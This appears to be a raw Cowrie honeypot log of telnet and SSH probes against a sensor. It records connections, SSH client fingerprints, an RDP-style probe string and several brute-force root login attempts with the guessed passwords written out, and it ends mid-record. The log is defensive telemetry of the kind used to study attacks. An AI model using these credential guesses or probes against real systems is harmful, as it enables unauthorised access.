{"eventid":"cowrie.session.closed","duration":30.893052101135254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:49.710083Z","src_ip":"74.208.13.194","session":"19c90e21a84b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42602,"dst_ip":"10.17.0.5","dst_port":23,"session":"77ed17a4a8c7","protocol":"telnet","message":"New connection: 152.42.224.71:42602 (10.17.0.5:23) [session: 77ed17a4a8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:49.886307Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42604,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ed3d58b6ba4","protocol":"telnet","message":"New connection: 152.42.224.71:42604 (10.17.0.5:23) [session: 6ed3d58b6ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:49.929613Z"}
{"eventid":"cowrie.session.closed","duration":30.564754486083984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:50.064598Z","src_ip":"74.208.13.194","session":"6d7fbcea7997","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.384461402893066,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:52.611099Z","src_ip":"152.42.224.71","session":"47a99b55ff51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42890739440918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:52.774973Z","src_ip":"74.208.13.194","session":"e6eef5849d5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":35082,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b3891d479b6","protocol":"telnet","message":"New connection: 74.208.13.194:35082 (10.17.0.5:23) [session: 3b3891d479b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:58.270895Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60240,"dst_ip":"10.17.0.5","dst_port":23,"session":"624d9a5a000b","protocol":"telnet","message":"New connection: 152.42.224.71:60240 (10.17.0.5:23) [session: 624d9a5a000b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:59.653012Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60252,"dst_ip":"10.17.0.5","dst_port":23,"session":"f63df512f1b2","protocol":"telnet","message":"New connection: 152.42.224.71:60252 (10.17.0.5:23) [session: f63df512f1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:00.548464Z"}
{"eventid":"cowrie.session.closed","duration":27.278062343597412,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:02.094330Z","src_ip":"152.42.224.71","session":"03c1585fa998","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":56100,"dst_ip":"159.203.135.109","dst_port":22,"session":"5862922bce0f","protocol":"ssh","message":"New connection: 43.134.32.136:56100 (159.203.135.109:22) [session: 5862922bce0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:02.420372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:02.427020Z","src_ip":"43.134.32.136","session":"5862922bce0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:02.672888Z","src_ip":"43.134.32.136","session":"5862922bce0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dq@123456","message":"login attempt [root/Dq@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:03.689077Z","src_ip":"43.134.32.136","session":"5862922bce0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.07405757904053,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:04.762806Z","src_ip":"152.42.224.71","session":"794551dcfee5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:04.947080Z","src_ip":"43.134.32.136","session":"5862922bce0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":35098,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d6ab5263df7","protocol":"telnet","message":"New connection: 74.208.13.194:35098 (10.17.0.5:23) [session: 2d6ab5263df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:05.280813Z"}
{"eventid":"cowrie.session.closed","duration":31.63164186477661,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:05.824584Z","src_ip":"74.208.13.194","session":"a9a371f38084","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":46862,"dst_ip":"10.17.0.5","dst_port":23,"session":"78c8a7bb4565","protocol":"telnet","message":"New connection: 74.208.13.194:46862 (10.17.0.5:23) [session: 78c8a7bb4565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:08.500640Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56030,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cf7a17e457a","protocol":"telnet","message":"New connection: 152.42.224.71:56030 (10.17.0.5:23) [session: 6cf7a17e457a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:08.533015Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56044,"dst_ip":"10.17.0.5","dst_port":23,"session":"a92c1987d9c0","protocol":"telnet","message":"New connection: 152.42.224.71:56044 (10.17.0.5:23) [session: a92c1987d9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:08.738882Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":60116,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a0092624800","protocol":"ssh","message":"New connection: 109.237.96.109:60116 (10.17.0.5:22) [session: 3a0092624800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:13.145840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:13.150947Z","src_ip":"109.237.96.109","session":"3a0092624800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.418717622756958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:13.168665Z","src_ip":"8.213.222.198","session":"9c253b4f031c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:13.241756Z","src_ip":"109.237.96.109","session":"3a0092624800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sterva","message":"login attempt [root/sterva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:13.514420Z","src_ip":"109.237.96.109","session":"3a0092624800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56058,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d673c0a5b8d","protocol":"telnet","message":"New connection: 152.42.224.71:56058 (10.17.0.5:23) [session: 4d673c0a5b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:14.450800Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:14.606802Z","src_ip":"109.237.96.109","session":"3a0092624800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.8187837600708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:15.626895Z","src_ip":"74.208.13.194","session":"cba98378aa26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":55050,"dst_ip":"10.17.0.5","dst_port":23,"session":"7015f35e4fc0","protocol":"telnet","message":"New connection: 74.208.13.194:55050 (10.17.0.5:23) [session: 7015f35e4fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:19.071588Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49218,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a144acbfcec","protocol":"telnet","message":"New connection: 152.42.224.71:49218 (10.17.0.5:23) [session: 6a144acbfcec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:22.390410Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49220,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dc03f4fd3a5","protocol":"telnet","message":"New connection: 152.42.224.71:49220 (10.17.0.5:23) [session: 7dc03f4fd3a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:24.504579Z"}
{"eventid":"cowrie.session.closed","duration":36.154382944107056,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:26.040604Z","src_ip":"152.42.224.71","session":"77ed17a4a8c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.365458965301514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:29.636255Z","src_ip":"74.208.13.194","session":"3b3891d479b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.09566855430603,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:31.628594Z","src_ip":"152.42.224.71","session":"6cf7a17e457a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":113.09570598602295,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:34.717932Z","src_ip":"152.42.224.71","session":"34d5e86e8828","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.65368604660034,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:35.583179Z","src_ip":"152.42.224.71","session":"6ed3d58b6ba4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.174158096313477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:36.454877Z","src_ip":"74.208.13.194","session":"2d6ab5263df7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56388,"dst_ip":"10.17.0.5","dst_port":23,"session":"4342d8d4c2b6","protocol":"telnet","message":"New connection: 152.42.224.71:56388 (10.17.0.5:23) [session: 4342d8d4c2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:36.539410Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56402,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e8a9258b180","protocol":"telnet","message":"New connection: 152.42.224.71:56402 (10.17.0.5:23) [session: 3e8a9258b180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:37.028376Z"}
{"eventid":"cowrie.session.closed","duration":30.550177097320557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:39.050708Z","src_ip":"74.208.13.194","session":"78c8a7bb4565","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56404,"dst_ip":"10.17.0.5","dst_port":23,"session":"45c20577ea79","protocol":"telnet","message":"New connection: 152.42.224.71:56404 (10.17.0.5:23) [session: 45c20577ea79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:45.597120Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60612,"dst_ip":"10.17.0.5","dst_port":23,"session":"110a862ea1fb","protocol":"telnet","message":"New connection: 152.42.224.71:60612 (10.17.0.5:23) [session: 110a862ea1fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:50.370641Z"}
{"eventid":"cowrie.session.closed","duration":31.578580617904663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:50.650054Z","src_ip":"74.208.13.194","session":"7015f35e4fc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60616,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a99e45d59f8","protocol":"telnet","message":"New connection: 152.42.224.71:60616 (10.17.0.5:23) [session: 0a99e45d59f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:52.380340Z"}
{"eventid":"cowrie.session.closed","duration":99.39289855957031,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:54.811356Z","src_ip":"152.42.224.71","session":"103d4ac5025e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.661723613739014,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:56.210066Z","src_ip":"152.42.224.71","session":"f63df512f1b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":56398,"dst_ip":"10.17.0.5","dst_port":23,"session":"829053297dc1","protocol":"telnet","message":"New connection: 74.208.13.194:56398 (10.17.0.5:23) [session: 829053297dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:57.532715Z"}
{"eventid":"cowrie.session.closed","duration":22.261744737625122,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:36:59.289987Z","src_ip":"152.42.224.71","session":"3e8a9258b180","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.236433267593384,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:00.687095Z","src_ip":"152.42.224.71","session":"4d673c0a5b8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.272019147872925,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:04.776467Z","src_ip":"152.42.224.71","session":"7dc03f4fd3a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55325,"dst_ip":"159.203.135.109","dst_port":22,"session":"6962126b0a31","protocol":"ssh","message":"New connection: 152.42.212.128:55325 (159.203.135.109:22) [session: 6962126b0a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:09.847475Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:09.852465Z","src_ip":"152.42.212.128","session":"6962126b0a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:09.856362Z","src_ip":"152.42.212.128","session":"6962126b0a31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":40530,"dst_ip":"10.17.0.5","dst_port":22,"session":"40edb7431f9e","protocol":"ssh","message":"New connection: 43.156.63.254:40530 (10.17.0.5:22) [session: 40edb7431f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:13.105771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:13.110502Z","src_ip":"43.156.63.254","session":"40edb7431f9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:13.356635Z","src_ip":"43.156.63.254","session":"40edb7431f9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hentai","message":"login attempt [root/hentai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:14.370380Z","src_ip":"43.156.63.254","session":"40edb7431f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:15.620697Z","src_ip":"43.156.63.254","session":"40edb7431f9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.23","src_port":53688,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8e68a1cf3ae","protocol":"ssh","message":"New connection: 176.65.132.23:53688 (10.17.0.5:22) [session: f8e68a1cf3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:16.813274Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:16.819050Z","src_ip":"176.65.132.23","session":"f8e68a1cf3ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.23","src_port":53698,"dst_ip":"10.17.0.5","dst_port":22,"session":"50bde9beb294","protocol":"ssh","message":"New connection: 176.65.132.23:53698 (10.17.0.5:22) [session: 50bde9beb294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:16.948785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:37:16.954016Z","src_ip":"176.65.132.23","session":"50bde9beb294","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh 